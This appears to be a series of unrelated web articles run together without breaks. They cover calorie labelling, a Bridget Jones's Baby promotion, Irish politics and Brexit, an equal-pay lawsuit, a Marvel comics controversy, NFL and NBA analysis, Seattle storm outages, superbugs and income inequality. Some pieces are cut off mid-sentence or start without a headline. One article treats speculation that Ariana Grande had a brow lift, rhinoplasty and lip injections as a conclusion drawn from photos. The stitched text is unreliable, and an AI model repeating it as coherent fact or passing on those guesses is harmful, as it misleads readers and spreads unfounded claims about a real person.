Don't rely on counting calories if you want to lose weight, scientists warn.
Much of the nutritional data on labels is based on outdated 19th century science.
And the way food is cooked – as well as an individual’s metabolism – can make a dramatic difference to how many calories are absorbed.
Scientists warn the number of calories on nutritional labels can differ wildly from those we actually absorb. One reason is that many foods simply pass through the body undigested, as we lack the tools to break down seeds and tough fibres
A study found that instead of the 170 calories in a one ounce serving of raw almonds, only 129 calories are taken in.
In contrast, when eating processed foods such as sugary cereals, the number of calories often exceeds the labelling.
Mice fed raw sweet potatoes lost more than four grams of weight, while they gained weight when given the same amount of cooked food.
Another problem is that even if food is cooked in the same way, each individual digests it differently thanks to the type and abundance of bacteria in their gut.
The obese may have an over-abundance of certain types of gut bacteria, making them more efficient at absorbing calories. Biologist Rob Dunn from North Carolina State University said the current system of calculating calorie labels is outdated.
Writing in the journal Scientific American, he said: ‘In the end, we all want to know how to make the smartest choices at the supermarket.
A study last year found that instead of 170 calories in a one ounce serving of raw almonds, closer to 129 calories are actually taken in - a 25 per cent difference
Merely counting calories based on food labels is an overly-simplistic approach to eating a healthy diet – one that does not necessarily improve our health.’
For those intent on losing weight, instead of reading the calories, a more reliable approach may be to stick to raw or whole foods which are harder to digest.
A cheese sandwich made with wholewheat bread is harder to digest than one using a white loaf. As a result, the former has 10 per cent fewer calories.
Food experts also warn that calorie labelling has for years ignored the energy content of fibre. This means that dieters have been ‘unknowingly’ eating more calories than they thought in their muesli or porridge.
As a result, an average bowl of bran cereal contains an extra 20 calories, they claim. The calorie content of protein has also been exaggerated by up to 20 per cent because the current system does not take into account the extra energy used in chewing.This post is in partnership with Universal Pictures.
If you’ve ever seen Bridget Jones’s Diary then you probably remember how imperfect Bridget Jones was. She would drink, smoke, say inappropriate things, and was quite clumsy. Bridget Jones was the perfect example of a normal woman. She wasn’t the perfect, well-kept woman that we were so used to seeing in Rom Coms back then. She was actually a breath of fresh air, if you ask me! I think that we can all relate in some way. I’ve had plenty of “Bridget Jones Moments”. My most recent one will make you giggle.
My Bridget Jones Moment
So, for the past few months I’ve been going every other week to get my nails painted at a local salon. Each time, I get a Shellac nail color because the gel polish lasts way longer than regular polish. Since I received a gel polish manicure kit for my 20 Things For Women in Their 20s guide, I decided to skip the salon this week to save some money. I thought, “Oh, I’ve got this!” I bought a gorgeous nail polish that I’ve been dying to try out and followed the instructions in the kit for doing my own manicure. With gel manicures, you use a UV light to cure the manicure and you use base gel coats and top gel coats. Well, thinking that I know it all, I decided that I could use a regular nail polish and just use the two gel coast and I’d be fine – boy was I wrong.
My nail polish literally started MELTING! Yes, MELTING. Haha. I felt like a dummy. I tried correcting it by adding more coats – nope. That didn’t work so well. And with a gel manicure, you can’t just wipe the polish off with nail polish remover. Basically, I’ve been walking around with a jacked up manicure for the past week. Do I have a picture of it? NO! I don’t have a picture because if there isn’t a picture then it didn’t happen.That’s my most recent Bridget Jones moment – what’s yours?
Bridget Jones’s Baby – In Theaters 9/16
So the entire reason I am bringing up Bridget Jones is because there’s a third movie in the series coming out – Bridget Jones’s Baby! Okay, I’ll let you fangirl, hyperventilate, and squeal for a few moments…
You good? Okay, great! You have every right to be really excited because not only is Renée Zellweger back on the big screen for this Romantic Comedy, partner in crime, Colin Firth is back! They have also brought in the Rom Com legend, Patrick Dempsey. Basically, there’s going to be lots of love, lots of laughter, and a BABY! Seriously, I hope this is the start to a few more movies. Read all of the details below.
Oscar® winners Renée Zellweger and Colin Firth are joined by Patrick Dempsey for the next chapter of the world’s favorite singleton in Bridget Jones’s Baby. Directed by Sharon Maguire (Bridget Jones’s Diary), the new film in the beloved comedy series based on creator Helen Fielding’s heroine finds Bridget unexpectedly expecting.
After breaking up with Mark Darcy (Firth), Bridget Jones’s (Zellweger) “happily ever after” hasn’t quite gone according to plan. Fortysomething and single again, she decides to focus on her job as top news producer and surround herself with old friends and new. For once, Bridget has everything completely under control. What could possibly go wrong?
Then her love life takes a turn and Bridget meets a dashing American named Jack (Dempsey), the suitor who is everything Mr. Darcy is not. In an unlikely twist she finds herself pregnant, but with one hitch…she can only be fifty percent sure of the identity of her baby’s father.
The much-anticipated third installment of the Bridget Jones’s franchise welcomes fellow Academy Award® winner Emma Thompson to the cast. Longtime collaborators Tim Bevan and Eric Fellner of Working Title Films produce alongside Debra Hayward. Universal Pictures will distribute Bridget Jones’s Baby in North America and select international territories.
Win a Bridget Jones Prize Pack
To celebrate the release of Bridget Jones’s Baby, I am giving one lucky winner a Bridget Jones’s Baby Prize Pack! I want to help you take your girl’s night to the next level. Check it out below and good luck!
One (1) winner receives a Bridget Jones’s Baby Prize Pack:
$25 Visa gift card to see the film in theaters September 16
September 16 Tote Bag, Eye Mask, Lip Balm, Candle, Nail File
Visit all the BRIDGET JONES’S BABY websites
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#BridgetJonesBabyThe Taoiseach Enda Kenny has indicated he will not announce any retirement plans until political uncertainty in Northern Ireland is addressed and the EU's negotiating stance on Brexit is agreed.
Mr Kenny said those "immediate priorities" would take precedence over "everything else" on his return to Ireland tomorrow after a week-long trip to the US.
Prior to leaving for his annual St Patrick's programme of engagements in the US, the Taoiseach told members of his Fine Gael party he would address his future "effectively and conclusively" upon his return.
He had been under pressure to set a timetable for his departure.
After taking part in the St Patrick's Day parade in New York, he made clear that dealing with his own future would take a back seat to pressing concerns at Stormont and within the European Union.
"What I did say to my own party was I would deal with this matter effectively and conclusively, and that is my intention, but I think these are priorities that take precedence over everything else," he said.
"You can't have a situation where you have no leadership in Northern Ireland and where we have to define from a European Union point of view where Ireland would be, what the agreed terms of reference for the (Brexit) negotiations are."
Parties in Northern Ireland have until the end of the month to strike a deal to restore power-sharing after a snap election triggered by a bitter fall-out between erstwhile partners-in-government, Sinn Féin and the Democratic Unionists.
If an agreement fails to materialise before the deadline, political uncertainty in the North will intensify, with the prospect of another snap poll or a return to direct rule from Westminster.
The coming weeks will also see British Prime Minister Theresa May trigger Article 50 of the Lisbon Treaty to formally commence the UK's departure from the EU - a move that is set to have major ramifications on both sides of the Irish border.
Mr Kenny told Irish media in New York: "Do you not think it is appropriate that the immediate priority here is to have an executive functioning here in Northern Ireland?
"Do you not think it appropriate that, after all the work we have put together, that we get an agreed negotiating stance for the European Union?
"It's going to affect everybody in our country - these are two immediate priorities."
Mr Kenny said his trip to the US had been a success.
The Taoiseach met US President Donald Trump, Vice President Mike Pence and Speaker Paul Ryan in Washington yesterday, discussing issues such as Brexit, Northern Ireland and the 50,000 "undocumented" Irish who live in the US without legal permission.
Taoiseach and May 'rule out direct rule in Northern Ireland'
Meanwhile, Mr Kenny has said both he and UK Prime Minister Theresa May are in agreement that there will be no return to direct rule in Northern Ireland.
Addressing a business event in New York, Mr Kenny urged the parties at Stormont to focus on forming a new power-sharing executive.
Mr Kenny's remarks at Bloomberg's offices in New York suggested that Mrs May has ruled out direct rule from Westminster.
"I hope that the elected members of the Assembly will now focus through their parties on actually putting an executive in place within the three weeks from the date of the election," he said.
"If that doesn't happen the Secretary of State for Northern Ireland (James Brokenshire) would then either have to hold further elections or have direct rule again from Britain.
"I have spoken very clearly to the British Prime Minister and we are both agreed that there will be no return to direct rule from London.
"So I do hope that the executive can be put in place, because this has implications for the peace process."
The Taoiseach also insisted that Ireland will not be following the UK out of the European Union.
He was more confident about the EU's future in the wake of the centre ground victory in the Dutch election.
Mr Kenny said that the "cornerstone" of much of Ireland's social progress in the last generation was due to the EU.
"To continue to succeed as an open economy and welcoming society, we must and we will remain at the very heart of Europe," he said.
In terms of Brexit, he said: "It is not a trigger for Ireland to follow suit and leave the European Union with the United Kingdom - we will not do so."
Asked if he was more confident about the EU after the Dutch result, he said: "I am.Now MEN sue university over sex discrimination in £700,000 claim by caretakers and handymen to be paid as much as female secretaries and librarians
At least 26 men are suing a university in wales for sex discrimination
The men allege that they have been underpaid compared with their female counterparts on the same pay grade
The men are asking the university to pay them £736,000
Most of the men work as tradesmen
It used to be a battle primarily fought by working women - the right to equal pay and a working environment free of sexual discrimination.
But in a complete role reversal, twenty six men working at a university in Wales are suing their employers for more than £700,000 over allegations of sex discrimination and unequal pay.
The men, who work as tradesmen include caretakers and are all employees of the University of Wales Trinity Saint David.
Equality: University of Wales, Trinity Saint David, Lampeter, Ceredigion, Wales - the men all work at the university and allege they were paid less than their female counterparts
They say that they have been paid less than their female counterparts over the past seven years. And the unequal pay gap has left them underpaid an average of £4,000 a years since 2007.
Now they want the university to pay them over £30,000 in back pay.
The disgruntled men are asking the University to pay them £736,000 and they also want to receive future wage increases to put them on the same footing as females in the same pay bracket as they are.
Solicitor Paul Doran, acting on their behalf and representing all of the men involved said he has acted in pay discrimination cases before, but they were for women in Birmingham and Sunderland.
He admits that this case is 'highly unusual' because most cases of pay discrimination involve women.
But he added that the case had no less merit because it involved men.
He said the men had been underpaid since 2007 and alleges that if they had been female - in the same job - they would have received an extra £4000 per year.
Legal battle: Nathan Roberts, 30, of Middleton, Greater Manchester, claims that the North West Ambulance Service's policy forced him to resign
On April 22, 19 of the men in the case will appear before a tribunal hearing in Cardiff.
Depending on the outcome, the other seven men will then have their own hearings at a later date.
One of the men suing revealed that all of the men had felt cheated when they found out that they were being paid less than the women.
He reveals that they approached HR but no one listened to them or took them seriously.
It left them feeling as though they should take it further and sue, as it was a clear case of sexual discrimination.
Describing it as a'real sense of injustice' he said that they just wanted to be treated fairly.
A spokesman for the University of Wales Trinity Saint David said: 'This employment tribunal relates to events that occurred more than seven years ago at the now dissolved higher education corporation Swansea Metropolitan University and several years before its merger with the University of Wales Trinity Saint David which took place in 2013.
Other cases of discrimination have cropped up recently involving men in the workplace.
Earlier this month, 999 operator Nathan Roberts, 30, of Middleton, Greater Manchester, sued his bosses because he was ordered to swap desks too often.
The father-of-two, who said he would suffer panic attacks after finding colleagues in his preferred seat - has seen his case thrown out by London judges, but could now take it to Europe.Following an outcry by fans on social media, Marvel Comics has responded to controversial artwork released in the pages of X-Men Gold #1.
The artwork in question involves numbers that reference a verse from the Qur’an cited in support of intolerance towards other religions, as well as certain political protest taking place in Indonesia.
Marvel’s statement, provided to ComicBook.com, is as follows: “The mentioned artwork in X-Men Gold #1 was inserted without knowledge behind its reported meanings. These implied references do not reflect the views of the writer, editors or anyone else at Marvel and are in direct opposition of the inclusiveness of Marvel Comics and what the X-Men have stood for since their creation. This artwork will be removed from subsequent printings, digital versions, and trade paperbacks and disciplinary action is being taken.”
X-Men Gold #1 was illustrated by Indonesian artist Ardian Syaf. Syaf snuck several references into the art, including numbers referencing protests by Muslim Indonesians of the Christian governor of Jakarta, Basuki Tjahaja Purnama, who himself was accused of making certain intolerant statements. The scene has the Jewish mutant Kitty Pryde appealing to a crowd of humans for tolerance. Syaf's art places Kitty's head adjacent to the "jew" portion of a "jewelry" sign in the background, and the numbers 212 and 51 in the background are related to the Jakarta protests. There was also a scene of the X-Men playing baseball. In the scene, Colossus is wearing a t-shirt with the letters and numbers "QS 5:51," which reference a verse from the Qur’an that, in a specific Indonesian translation, translates into a warning that Muslims should not appoint Christians or Jewish people as their leaders.Ariana Grande, Before and After
As anyone who reads my red carpet reports knows, I’ve got my beauty crushes… and then I’ve got my people like Ariana Grande.
With her perma-ponytail, greige lipsticks and false lashes, she has developed a very particular beauty aesthetic, which couldn’t be further from mine. Her “sexy baby” persona also includes wardrobe: a rotation of racy, lingerie-like outfits that wouldn’t look out of place on a Bratz! doll.
Ariana grande’s plastic surgery video
Also Read Bella Hadid Nose Job? Before and after images
Even still, those things don’t really bother me. My issue has more to do with her Resting Smug Face. Or, as Buzzfeed pointed out: “Have You Noticed That Arianna Grande Always Looks Like She’s Politely Listening To A Very Bad Joke?”
Ariana talks about her pastic surgery
But things weren’t always this way. I, for one, am wondering if some cosmetic interventions didn’t play a role in 23-year-old Ariana’s dramatic transformation. Here’s the photo trail:
Ariana in 2008
Ariana Grande at a 2008 visit to Planet Hollywood Times Square.
Our first pic dates back to 2008, when Ariana was just 15 years old. She looks like a totally different person, no? There’s zero trace of the smug expression here, just a genuine, happy smile. Pre-ponytail years, she had naturally curly dark brown hair (with brows to match). Her skin tone is also much lighter, which looks so pretty with the dark hair. Take note of the nose, brows and lips, because I think these change as we move through the years.
Ariana in 2009
Ariana Grande at the 2009 premiere of ‘The Lovely Bones’.
In 2009, Ariana became a redhead for her role on ‘Sam & Cat,’ and it actually looks great on her. Although it’s not a natural-looking red (and isn’t meant to be), the shade gives her a very flattering, peaches and cream complexion. At this point, she also started straightening her hair. Notice how close her brows were to her eyes.
Ariana in 2010
Ariana Grande at the 2010 Kids’ Choice Awards.
Still with the red hair, Ariana wore it in a longer length here, with skinny ends. I still like what the colour is doing for her skin, and that she left her brows alone (which again, are sitting much closer to her eyes than they do now). I hate to say it, but I don’t see this same sparkle in her eyes anymore.
Ariana in 2011
Ariana Grande at the 2011 Angel Awards.
This is when Ariana (who was 18 years old here) started with the updos—no doubt because of damage from all the hair dye. It’s also when she began spray-tanning; her new skin tone doesn’t harmonize as well with the bright red hair. I’m surprised to see red lipstick, which would be very off-brand for her these days. It looks like she tried to dye her eyebrows, but they they’re still ashy in the centres.
Ariana in 2012
Ariana Grande at the 2012 Teen Choice Awards.
From now on, we won’t see Ariana without her signature half-up or fully-up high ponytail. To me, her lengths have the look of extensions, which we know she adopted because of her damaged natural hair. Even still, I think she looks pretty cute with the light makeup (way less than she wears now) and softly tinted brows. If you look at her upper lip, it does seem fuller than it was in 2010. Whether that’s Restylane or simply lip liner, I don’t know.
Ariana in 2013
Ariana Grande at the 2013 Radio Disney Music Awards.
I’ve got three shots to show you from 2013, because this was a pivotal year for Ariana. This is when her eyebrows started to migrate up her forehead and the Resting Smug Face began to take hold. Above, she ditched the red hair for a medium brown, but kept the spray tan (a shame because I think her natural colouring is so striking).
Ariana Grande at the 2013 MTV Video Music Awards.
This event was the first time I’d ever heard of Ariana. You can see how her facial expression could rub a person the wrong way. Now we know that it’s caused by her eyebrows sitting higher than they should be. I don’t know about you, but I’m suspecting a brow lift. They’ve also been tinted an ashy colour that looks unnatural with her skin tone.
Ariana Grande at the 2013 London premiere of ‘Sam & Cat’.
By this time, Ariana was 20, and here we go again. If she is raising her eyebrows to make this expression, then why aren’t there any creases on her forehead? A brow lift would definitely explain this situation—go on and Google “brow lift before and after” and you’ll see.
Ariana in 2014
Ariana Grande at the 2014 Teen Choice Awards.
The following year, Ariana really hit her stride, blossoming into a full-fledged pop diva. Everything is more exaggerated. Her hair is lighter and triple the size. Her lips are obviously over-lined (and maybe injected), painted her new signature brownish tone. Now, she never goes without the heavy false lashes, and her brows are still ashy and high. It almost looks like her half-ponytail is pulling them up!
Ariana in 2015
Ariana Grande at the 2015 Grammy Awards.
In 2015, Ariana darkened her hair, which suits her way better than the light brown from the year before. Immediately, her brows look better (although I still question their placement). I even like the baby cat eyes and soft pink lip gloss. But now it’s time to address her nose. I can’t pinpoint exactly when it happened, but this doesn’t appear to be the same nose she had back in 2011.
Ariana in 2016
Ariana Grande at the 2016 Billboard Music Awards.
That brings us to 2016, and quelle surprise—Ariana is still going strong with the ponytails and spray tans. She is 24 now, so I get that she has lost a bit of baby fat, which would naturally change a face. But I still think her brows look very pulled up, which gives her an artificial-looking expression. Her upper lip seems to inflate and deflate, indicating injections, and I definitely think there’s been some refinement and narrowing with her nose.
Conclusion
Ariana Grande in 2008 (left) and in 2016 (right).
The most surprising thing about Ariana’s Before & After is that she wasn’t born with her Resting Smug Face. It appears to have been introduced via cosmetic interventions.
I always felt like something was “off” about her face, but I couldn’t put my finger on it. Now that I’ve examined the photo evidence, my guess is that Ariana had a brow lift (forehead lift), rhinoplasty and possibly Restylane lip injections. Though I can’t imagine why—I think she was incredibly adorable as a teenager, with her eyebrows right where they were. I suppose, like many child stars, there was pressure to transition from “cute” to “sexy.” What a shame that her face has been permanently altered. I can’t help but notice that the light has also gone out of her eyes.
Also Read Miley Cyrus plastic surgery, Before and After
How do you feel about Ariana’s beauty evolution?
Which of these looks is your favourite?
What “beauty work” do you think she’s had done?Many of the artists Kanye West has worked with and inspired have reached out and shown their support since he pulled his Saint Pablo tour and was reportedly admitted to hospital this week. Chance The Rapper extended a prayer to his fellow Chicago MC, Twista penned an open letter, and Pusha T thanked his GOOD Music label mate for putting him on the path to a successful solo career.
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Lupe Fiasco also shared a heartfelt message for his former collaborator during his show at the Crest Theater in Sacramento on November 22. Speaking to the audience, see newly surfaced fan footage above, Lupe spoke about the pressure on an artist when they're on the road.
"When you not performing, you thinking about performing,” he said. “And when you not thinking about performing, you performing. When you not performing, you recovering from performing. When you not recovering from performing you gotta prepare yourself to perform again. That’s hard.”
He added: “Look at the people who gave their heart and soul to this business and things that they lost and things that they go through. Just have patience. Don’t let it turn into anger. Don’t let it turn into cynicism. If you appreciate the work the brother put in for you and he supported you and helped you out from a distance with his music then just hold on to that moment."
Watch the speech in full in the clip above.Scott Halleran/Getty Images
Like him or not, Johnny Manziel was one of the most exciting players to watch in all of sports in 2013, and he figures to be taken among the top-10 picks in the 2014 NFL draft in May.
Several years ago, Manziel's NFL outlook wouldn't have been nearly as bright as it is in this day and age. However, the influx of dual-threat quarterbacks throughout the NFL (see Kaepernick, Colin and Newton, Cam) means the league now lends itself to QBs who can make plays with their legs and their arms.
But if you followed football in 2013 (and 2012 and 2011, for that matter), you know this to be true. The biggest question now is whether the most dynamic quarterback (heck, most dynamic player) in college football during the last two seasons can make a seamless transition to professional football.
Breaking down Manziel's chances of NFL success is difficult because of his rather unconventional style of play. A big portion of his value comes from his ability to make plays with his legs, but don't count him out as an ineffective pocket passer.
In fact, Johnny Football showed great improvement in that department in 2013, when one of his biggest knocks was his lack of pocket-passing proficiency heading into the season. That development is showcased by simply looking at some of his highlights from the season.
At :23, :31, 1:14, 1:19 and 1:27 in the following video, Manziel shows off his ability to make plays downfield from the pocket, in addition to his superb passing accuracy.
Part of what makes Manziel such an elite draft prospect is his accuracy, but his improved proficiency in the pocket is what really makes him an exciting (and potentially dominant) prospect in the NFL.
But when Manziel can't afford to stay in the pocket is when he shines most. His ability to make plays downfield while scrambling and facing heavy pressure will translate to the NFL, and it will have to, as he'll almost certainly be drafted by a team with a below-average offensive line.
Granted, NFL linemen and linebackers possess quite a bit more speed (and strength, of course) than do college linebackers, so Manziel won't be able to get away with as many of his scrambling antics that helped him keep so many passing players alive at Texas A&M.
But does anyone really expect Manziel to match his 2,169 rushing yards in 26 games (83.4 per game) when he transitions to the NFL? Of course not. He'll certainly be asked to rely more on his pocket-passing ability than his scrambling to make plays, but if his aforementioned improvement in that category is any indication, the threat of Manziel's rushing ability becomes even scarier.
Jamie Squire/Getty Images
Furthermore, none of the top-rushing quarterbacks in the NFL matched Manziel's college rushing prowess (with the arguable exception of Colin Kaepernick). Perhaps most importantly, none of them played in the SEC either, which features many of the best linebackers in college football (e.g. C.J. Mosley, Antonio Morrison, Lamin Barrow).
However, Manziel's value as a quarterback also goes beyond his measurable tools, such as speed and accuracy, which are nonetheless impressive as well. His instincts, for one, might be the best of any quarterback in the draft.
"You talk about instincts and playmaking ability -- I've never evaluated anybody at the quarterback position better in those factors," NFL media analyst and former NFL scout Daniel Jeremiah said this week, according to NFL.com's Dan Parr (via the Peter Schrager Podcast). "He's the most creative quarterback playmaker that I've scouted in 10 years."
But the real question on many NFL teams' minds is whether Manziel is mature enough to be successful in the NFL. When he becomes a millionaire on draft day, will he suddenly turn his attention to partying and women?
Anyone who thinks so simply hasn't followed Manziel during 2013.
Scott Halleran/Getty Images
Can you remember a Manziel controversy since his half-game suspension to start the season? That incident was as good of a wake-up call as any, and his reaction to it looks like a sign that he's finally learning to control his off-field antics.
That doesn't mean Johnny Football will be a goody two-shoes in the NFL. But what doesn't get enough consideration is the fact that wherever Manziel plays football in 2014 will be an entirely different environment than what he experienced in college.
But what really indicates that Manziel may put a stop to his troubles is shown in his will to win, as evidenced perfectly by his late-season heroics in 2013 that resulted from his determination to go out on top, despite an overall disappointing season.
''I want nothing more than to win these next two games and to get into a good bowl game and go 10-2 in another regular season,'' Manziel said in November, when his team stood at 8-2 on the season, according to Yahoo! Sports (via the Associated Press). ''I can't even put into words how bad I want that for seniors on this team and for this team in general.''
His performance in Texas A&M's gritty, come-from-behind win against Duke in the Chick-fil-A Bowl proved just that. It can't be overstated how difficult it must have been for Manziel to see Texas A&M's defense allow 38 first-half points in that game.
But he swallowed his frustration and went on to lead his team to 21 fourth-quarter points—35 total in the second half—to cap off his incredible two-year career.
That game was a great indication of how polished Manziel's game has become. He's had numerous long passing plays from the pocket, in addition to the collection of jaw-dropping rushing plays that have become almost inevitable by now.
Finally, it's worth noting that Manziel's success could hinge upon where he ends up in the NFL. It's one thing to have the tools and intangibles to succeed in the NFL, but being on a team with a poor offensive line and no viable wide receiver options means even an incredible skill set can only carry one so far.
Perhaps the most likely scenario for Manziel is that he winds up with the Cleveland Browns, who select fourth overall. With Manziel generally regarded as the third best quarterback in the draft (behind Teddy Bridgewater and Blake Bortles) and the St. Louis Rams' lack of a quarterback vacancy, Manziel falling to the Browns is a decidedly likely scenario.
That would be a great match for Manziel, who could form deadly connections with All-Pro wide receiver Josh Gordon and breakout tight end Jordan Cameron.
Don't forget, the offensive line isn't too shabby in Cleveland either. They allowed a lot of sacks in 2013, but that can mostly be attributed to having immobile quarterbacks. (Browns quarterbacks combined for 32 rushes in 2013—that's two per game.) Left tackle Joe Thomas is one of the best in the business.
Of course, it's premature to delve into this too deeply, as Manziel has a good chance of not even being drafted by Cleveland. But if he is, he'll be thrust into a situation that at least gives him a legitimate chance of success in his NFL career.
We'll see if he can deliver.SEATTLE — Thousands of people across Western Washington woke up Sunday morning without power praying it would be restored in time for the Seahawks game at 12:30pm.
An overnight storm knocked out power with a series of strong winds gusting up to 50 miles an hour in some areas.
Seattle City Light initially reported 56 different outages affecting 15-thousand customers. But by 1:00 pm that number had dropped by 2,197 customers without power.
Unfortunately City Light said many of those homes shouldn’t expect power to return in time to see much of the Seahawks game.
“Fans are welcome to watch the game at the Seattle Public Library’s downtown location (1000 4th Avenue),” said City Light in a statement.
Puget Sound Energy had said it had crews working 266 outages and 42-thousand customers without power. By 1:00 pm that number had dropped to 16-thousand.
Snohomish PUD initially said it had 15-thousand customers in the dark, but has restored more than 10-thousand customers by 1:00 pm. Peninsula Light Co said it has reports of scattered outages impacting around 5-thousand homes.
Washington State Patrol troopers cleared a semi-truck crash on Mercer Island that was blocking four lanes of eastbound I-90 at E. Mercer Way.
All lanes had reopened by 7:00 a.m.We’re hosting our 3rd Annual MLS Cup Final Benefit for Street Soccer USA|Bay Area!
Join us Sunday, December 6th at McTeague’s Saloon in San Francisco. The event starts at 12PM and a donation (optional) will get you food and drink specials and entry into our raffle.
Thanks to the generosity of SF City FC, Senda Athletics, American Outlaws Modesto, and the San Jose Earthquakes, we’ve got some fantastic prizes, including:
Tickets to a 2016 SJ Earthquakes match
Signed Landon Donovan SSUSA shirt
Signed Chris Wondolowski practice jersey
Signed Brandi Chastain shirt
Senda Athletics soccer balls
And much, much more!
Oh yes, and there’s a match between the Columbus Crew SC and the Portland Timbers FC for the MLS Cup.
And if that’s not enough soccer for you, you can stick around afterwards to watch the USWNT play Trinidad & Tobago with the American Outlaws San Francisco. UPDATE: USWNT match cancelled due to field conditions.
Hope to see you on Sunday!
Facebook page for our event.There's worrisome news here in the southeastern U.S., buried in a journal that is favorite reading only for superbug geeks like me. The rate at which hospitals are recognizing cases of CRE – the form of antibiotic resistance that is so serious the CDC dubbed it a "nightmare" – rose five times over between 2008 and 2012.
Within that bad news, there are two especially troubling points. First, the hospitals where this resistance factor was identified were what is called "community" hospitals, that is, not academic referral centers. That's an important distinction, because academic medical centers tend to be where the most cutting-edge care is performed, and where the sickest people are. As a result, they are where last-resort antibiotics are used the most, and therefore where resistance is most likely to emerge. That CRE was found so widely not in academic centers, but rather in community hospitals, is a signal that it is probably moving through what medicine calls "the community," which is to say, anywhere outside healthcare. Or, you know, everyday life.
A second concern is that the authors of the study, which is in Infection Control and Hospital Epidemiology, assume that their finding is an underestimate of the actual problem.
A little background first on CRE. (Archive of posts on it is here.) The acronym stands for "carbapenem-resistant Enterobacteriaceae." Enterobacteriaceae are a large family of bacteria that normally are carted around in your guts without causing illness. When they escape, though – for instance, during ICU treatment – they are a common cause of serious hospital-acquired infections. "Carbapenems" are a small group of very powerful antibiotics that are viewed as drugs of last resort, which work against infections that have become resistant to most other antibiotics. The acronym CRE indicates a group of resistant organisms that go by other acronyms |
the decision may have been prompted by deeply unflattering updates by critical users to Erdogan’s Wikipedia profile after he won the April 16 referendum on enhancing his powers.
The government insists that the new presidential system — largely due to come into force in 2019 — will improve efficiency but critics fear it will lead to one-man rule.How much has income inequality risen in the United States? Well, how do you define income? And what time period are you looking at? The most well-known statistics about income inequality—including the famous data from economists Thomas Piketty at the Paris School of Economics and Emmanuel Saez at the University of California, Berkeley—are based on tax data and show a significant increase in inequality since the late 1970s. But are the trends revealed in those data over that time period still holding up? Digging into the data reveals that inequality trends since 2000 actually are different from those during the 1980s and 1990s.
A paper released last week as a National Bureau of Economics Research paper takes a look at how income inequality has changed in the 21st century. The two authors, Fatih Guvenen of the University of Minnesota and Greg Kaplan of the University of Chicago, take a look at two different sources of income data. The first is administrative tax data that cover all forms of income, and the second source is data from the Social Security Administration based on W-2 forms, which only cover labor income. In other words, the tax data capture both labor and capital income, while the SSA data pull in labor income alone.
The two datasets show broadly the same trend in top-end income inequality from the early 1980s to the late 1990s. The one exception is the period of 1986 to 1988, when the tax data show a jump in inequality, which Guvenen and Kaplan point out is probably due to tax reform in 1986. But for the most part, the data agree that inequality rose from the late 1970s to the beginning of this century.
But around the year 2000, the data show something different. The tax data continue to show an increase in income inequality, but the SSA data indicate a negligible or no increase at all. The authors explain that they first examined whether the two data series were showing different trends because they used different units of measurement (tax filers for the tax data and individuals for the SSA data). But that doesn’t seem to be a big contributor. Rather, the difference seems to be the kind of income the data are capturing.
Income inequality since 2000 is not a story of rising inequality of labor income, but an increase due to higher capital income. Specifically, the rise is due to increased business income from S-corporations. The rise of pass-through businesses such as partnerships has been the primary source of rising inequality in the 21st century. Guvenen and Kaplan also show that the increase in income inequality hasn’t been primarily a story of the top 1 percent of income earners, but rather the top 0.01 percent. This makes sense, as ownership of pass-through entities is far more concentrated than the high labor incomes that fueled the increases in inequality in the 1980s and 1990s.
The increasing importance of capital income over labor income has been noticeable in the Piketty and Saez data, as J.W. Mason of John Jay College pointed out two years ago. The timing is also interesting given that 2000 is when the labor share of income in the United States started to decline.
As the authors of this new paper argue, we need to be careful with describing the trends and facts about inequality. The data about the rise during the two decades prior to the turn of the century, which shows a leading role for high labor incomes, led to diagnoses and solutions focused on “supermanagers” and other kinds of “superstar” workers in the top 1 percent. That line of thinking doesn’t make sense when rising inequality is instead a story of rising capital income among business owners in the top one-hundredth of the top 1 percent. To paraphrase a quote often attributed to John Maynard Keynes, when the facts on inequality change, we should change our thinking about it.My Santa was sweet enough to message and let me know there were two packages on the way. I had mentioned my daughters and our love for colouring together, so Santa picked out things that we could all enjoy.
Package #1 My daughters are in their first year of learning French at school, so were really excited to see a little hardbound colouring book "Chat Thérapie" (Cat Therapy). They also love cats (we have 3!) so it was a perfect pick. Along with that was manga art pens and watercolour pencils, again perfect choices for them. We would have been quite happy just with that, but knew there was more coming.
Package #2 After helping open the first box, my girls jumped all over this one too, certain that there would be something for them in it, and of course there was! A Glitter Bug craft kit (which they have already worked on), and a package of gel pens. I love colouring with gel pens, and some of mine are starting to run out, so I was very happy with those!
This was a great exchange, as I knew it would be. Merci beaucoup!!
Edited to give my Santa credit and add a picture of the resulting glitter bugs!The only sure thing about building an NBA team is that there is no sure thing, a proven fact that should serve as a cautionary tale to Raptors fans who are under the delusion that getting really bad to get really good is a surefire method.
The Cleveland Cavaliers drafted superstar LeBron James but he couldn't help them win an NBA championship. ( David Cooper / TORONTO STAR FILE PHOTO )
It takes a confluence of events — good fortune, minor moves that pay major dividends, the misses from other teams, astute free-agent signings, “winning” trades — to ascend through the standings.
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And they are so intertwined, it’s impossible say any one works independently any better than the others. The draft? In the last 20 years, the only first overall picks to play for a championship with the team that originally drafted them are Tim Duncan in San Antonio, Allen Iverson in Philadelphia, LeBron James in Cleveland and Dwight Howard in Orlando. Only Duncan — flanked by the likes of David Robinson, Manu Ginobili and Tony Parker — managed to win. Iverson retired without a championship, James only got two when he joined forces with Dwyane Wade and Chris Bosh in Miami, and the hunt for a ring continues unanswered for Howard, who is now with his third team.
Staying bad long enough to accumulate draft picks? The Cleveland Cavaliers today have two No. 1 picks in Kyrie Irving and Anthony Bennett, and two No. 4 picks in Tristan Thompson and Dion Waiters on their roster, and it’s folly to think they are anywhere remotely near Eastern Conference contention, let alone the NBA championship.
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As the Raptors search for their first playoff berth in six seasons, or as they decide to somehow tear down what they have now in a reach for a brass ring in next June’s draft, it would be wise to see how other teams have done, what history shows. It shows there are too many moving parts and too many variables for anyone to be the proponent of one over the other — given that gambling on one, and failing, could set a franchise up for years of additional futility. 2003 DRAFT LEGACY One of biggest attractions with the coming 2014 NBA draft — and one of the big reasons so many teams are jockeying to have a top-five pick — is the presumed depth of talent. It’s seen in some circles as the best draft since 2003, a year that yielded a treasure trove of talent. How did that one pan out? A look at the past 10 seasons since that draft, in order of where the teams picked. 1. Cleveland Cavaliers, LeBron James Made playoffs in five seasons, advanced to two conference finals, lost NBA final in 2006-07. 2. Detroit Pistons, Darko Milicic Made playoffs six seasons, advanced to five conference finals, won NBA final in 03-04, lost NBA final in 04-05. But Milicic was a nonfactor on every team he played for. 3. Denver Nuggets, Carmelo Anthony Made playoffs all 10 seasons, but knocked out in first round every year except 08-09 (lost in conference final).
The Cleveland Cavaliers drafted superstar LeBron James but he couldn't help them win an NBA championship. ( David Cooper / TORONTO STAR FILE PHOTO )
